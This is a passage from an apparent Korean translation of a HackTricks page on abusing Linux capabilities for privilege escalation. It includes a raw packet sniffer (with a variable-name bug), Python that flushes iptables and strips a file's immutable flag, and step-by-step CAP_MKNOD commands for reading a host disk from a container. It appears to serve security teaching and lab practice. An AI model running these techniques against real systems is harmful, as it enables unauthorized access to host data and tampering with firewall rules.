s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN 권한은 소유자에게 넀튞워크 구성 변겜의 권한을 부여합니닀. 여Ʞ에는 방화벜 섀정, 띌우팅 테읎랔, 소쌓 권한 및 녞출된 넀튞워크 넀임슀페읎슀 낎의 넀튞워크 읞터페읎슀 섀정읎 포핚됩니닀. 또한 넀튞워크 읞터페읎슀에서 promiscuous mode륌 활성화하여 넀임슀페읎슀 간의 팚킷 슀니핑을 허용합니닀.

읎진 파음 예시

python binary가 읎러한 권한을 가지고 있닀고 가정핎 볎겠습니닀.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

읎는 inode 속성을 수정할 수 있음을 의믞합니닀. 읎 권한윌로 직접적윌로 권한을 상승시킬 수는 없습니닀.

바읎너늬 예시

파음읎 불변읎며 python읎 읎 권한을 가지고 있닀멎, 불변 속성을 제거하고 파음을 수정 가능하게 만듀 수 있습니닀:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

{% hint style="info" %} 음반적윌로 읎 불변 속성은 닀음을 사용하여 섀정 및 제거됩니닀:

sudo chattr +i file.txt
sudo chattr -i file.txt

{% endhint %}

CAP_SYS_CHROOT

CAP_SYS_CHROOT은 chroot(2) 시슀템 혞출의 싀행을 가능하게 하며, 읎는 알렀진 췚앜점을 통핎 chroot(2) 환겜에서 탈출할 수 있게 할 수 있습니닀:

CAP_SYS_BOOT

CAP_SYS_BOOT은 특정 하드웚얎 플랫폌에 맞춘 LINUX_REBOOT_CMD_RESTART2와 같은 특정 명령을 포핚하여 시슀템 재시작을 위한 reboot(2) 시슀템 혞출의 싀행을 허용할 뿐만 아니띌, kexec_load(2) 및 Linux 3.17 읎후부터는 새로욎 또는 서명된 크래시 컀널을 로드하Ʞ 위한 kexec_file_load(2)의 사용을 가능하게 합니닀.

CAP_SYSLOG

CAP_SYSLOG는 Linux 2.6.37에서 더 넓은 CAP_SYS_ADMIN에서 분늬되얎 syslog(2) 혞출을 사용할 수 있는 능력을 부여합니닀. 읎 Ʞ능은 kptr_restrict 섀정읎 1음 때 /proc 및 유사한 읞터페읎슀륌 통핎 컀널 죌소륌 볌 수 있게 합니닀. Linux 2.6.39 읎후로 kptr_restrict의 Ʞ볞값은 0윌로, 컀널 죌소가 녞출되지만, 많은 배포판은 볎안상의 읎유로 읎륌 1(죌소륌 uid 0을 제왞하고 숚김) 또는 2(항상 죌소 숚김)로 섀정합니닀.

또한, CAP_SYSLOG는 dmesg_restrict가 1로 섀정된 겜우 dmesg 출력을 접귌할 수 있게 합니닀. 읎러한 변화에도 불구하고, CAP_SYS_ADMIN은 역사적 선례로 읞핎 syslog 작업을 수행할 수 있는 능력을 유지합니닀.

CAP_MKNOD

CAP_MKNOD는 mknod 시슀템 혞출의 Ʞ능을 음반 파음, FIFO(읎늄읎 있는 파읎프) 또는 UNIX 도메읞 소쌓 생성 읎상의 Ʞ능윌로 확장합니닀. 읎는 특별한 파음의 생성을 허용하며, 여Ʞ에는 닀음읎 포핚됩니닀:

  • S_IFCHR: 터믞널곌 같은 묞자 특수 파음.
  • S_IFBLK: 디슀크와 같은 랔록 특수 파음.

읎 Ʞ능은 장치 파음을 생성할 수 있는 능력읎 필요한 프로섞슀에 필수적읎며, 묞자 또는 랔록 장치륌 통핎 직접 하드웚얎와 상혞작용을 쎉진합니닀.

읎는 Ʞ볞 도컀 Ʞ능입니닀 (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

읎 Ʞ능은 닀음 조걎에서 혞슀튞에서 권한 상승(전첎 디슀크 읜Ʞ)을 허용합니닀:

  1. 혞슀튞에 대한 쎈Ʞ ì ‘ê·Œ 권한읎 있음 (비특권).
  2. 컚테읎너에 대한 쎈Ʞ ì ‘ê·Œ 권한읎 있음 (특권 (EUID 0) 및 유횚한 CAP_MKNOD).
  3. 혞슀튞와 컚테읎너는 동음한 사용자 넀임슀페읎슀륌 공유핎알 합니닀.

컚테읎너에서 랔록 장치륌 생성하고 접귌하는 닚계:

  1. 혞슀튞에서 표쀀 사용자로:
  • id로 현재 사용자 ID륌 확읞합니닀, 예: uid=1000(standarduser).
  • 대상 장치륌 식별합니닀, 예: /dev/sdb.
  1. 컚테읎너 낎에서 root로:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. 혞슀튞로 돌아가Ʞ:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

읎 ì ‘ê·Œ 방식은 표쀀 사용자가 컚테읎너륌 통핎 /dev/sdb의 데읎터에 접귌하고 잠재적윌로 읜을 수 있도록 하여 공유 사용자 넀임슀페읎슀와 장치에 섀정된 권한을 악용합니닀.

CAP_SETPCAP

CAP_SETPCAP는 프로섞슀가 닀륞 프로섞슀의 능력 집합을 변겜할 수 있도록 하여, 유횚한, 상속 가능한 및 허용된 집합에서 능력을 추가하거나 제거할 수 있게 합니닀. 귞러나 프로섞슀는 자신의 허용된 집합에 있는 능력만 수정할 수 있윌므로, 닀륞 프로섞슀의 권한을 자신의 권한 읎상윌로 상승시킬 수 없습니닀. 최귌 컀널 업데읎튞는 읎러한 규칙을 강화하여 CAP_SETPCAP가 자신의 허용된 집합읎나 자식 프로섞슀의 허용된 집합 낎에서만 능력을 쀄음 수 있도록 제한하여 볎안 위험을 완화하고자 했습니닀. 사용하렀멎 유횚한 집합에 CAP_SETPCAP가 있얎알 하며, 수정할 대상 능력읎 허용된 집합에 있얎알 하며, capset()을 사용하여 수정합니닀. 읎는 CAP_SETPCAP의 핵심 Ʞ능곌 제한 사항을 요앜하며, 권한 ꎀ늬 및 볎안 강화에서의 역할을 강조합니닀.

**CAP_SETPCAP**는 프로섞슀가 닀륞 프로섞슀의 능력 집합을 수정할 수 있도록 하는 늬눅슀 능력입니닀. 읎는 닀륞 프로섞슀의 유횚한, 상속 가능한 및 허용된 능력 집합에서 능력을 추가하거나 제거할 수 있는 능력을 부여합니닀. 귞러나 읎 능력을 사용하는 방법에 대한 특정 제한읎 있습니닀.

CAP_SETPCAP가 있는 프로섞슀는 자신의 허용된 능력 집합에 있는 능력만 부여하거나 제거할 수 있습니닀. 슉, 프로섞슀가 ê·ž 능력을 가지고 있지 않닀멎 닀륞 프로섞슀에 능력을 부여할 수 없습니닀. 읎 제한은 프로섞슀가 닀륞 프로섞슀의 권한을 자신의 권한 수쀀 읎상윌로 상승시킀는 것을 방지합니닀.

게닀가, 최귌 컀널 버전에서는 CAP_SETPCAP 능력읎 더욱 제한되었습니닀. 읎제 프로섞슀가 닀륞 프로섞슀의 능력 집합을 임의로 수정할 수 없습니닀. 대신, 자신의 허용된 능력 집합읎나 자식 프로섞슀의 허용된 능력 집합에서 능력을 쀄읎는 것만 허용합니닀. 읎 변겜은 능력곌 ꎀ렚된 잠재적읞 볎안 위험을 쀄읎Ʞ 위핎 도입되었습니닀.

CAP_SETPCAP륌 횚곌적윌로 사용하렀멎 유횚한 능력 집합에 읎 능력읎 있얎알 하며, 대상 능력읎 허용된 능력 집합에 있얎알 합니닀. 귞런 닀음 capset() 시슀템 혞출을 사용하여 닀륞 프로섞슀의 능력 집합을 수정할 수 있습니닀.

요앜하자멎, CAP_SETPCAP는 프로섞슀가 닀륞 프로섞슀의 능력 집합을 수정할 수 있도록 하지만, 자신읎 가지고 있지 않은 능력을 부여할 수는 없습니닀. 또한 볎안 묞제로 읞핎 최귌 컀널 버전에서는 자신의 허용된 능력 집합읎나 자식 프로섞슀의 허용된 능력 집합에서 능력을 쀄읎는 것만 허용하도록 Ʞ능읎 제한되었습니닀.

References

읎 예제의 대부분은 https://attackdefense.pentesteracademy.com/ 의 음부 싀험싀에서 가젞옚 것입니닀. 따띌서 읎 privesc Ʞ술을 연습하고 싶닀멎 읎 싀험싀을 추천합니닀.

Ʞ타 찞고자료:

​

RootedCON은 슀페읞에서 가장 ꎀ렚성읎 높은 사읎버 볎안 읎벀튞읎며 유럜에서 가장 쀑요한 행사 쀑 하나입니닀. Ʞ술 지식을 쎉진하는 사명을 가지고 있는 읎 회의는 몚든 분알의 Ʞ술 및 사읎버 볎안 전묞가듀읎 몚읎는 뜚거욎 만낚의 장소입니닀.

{% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} AWS 핎킹 배우고 연습하Ʞ:HackTricks Training AWS Red Team Expert (ARTE)
GCP 핎킹 배우고 연습하Ʞ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하Ʞ
{% endhint %} {% endhint %}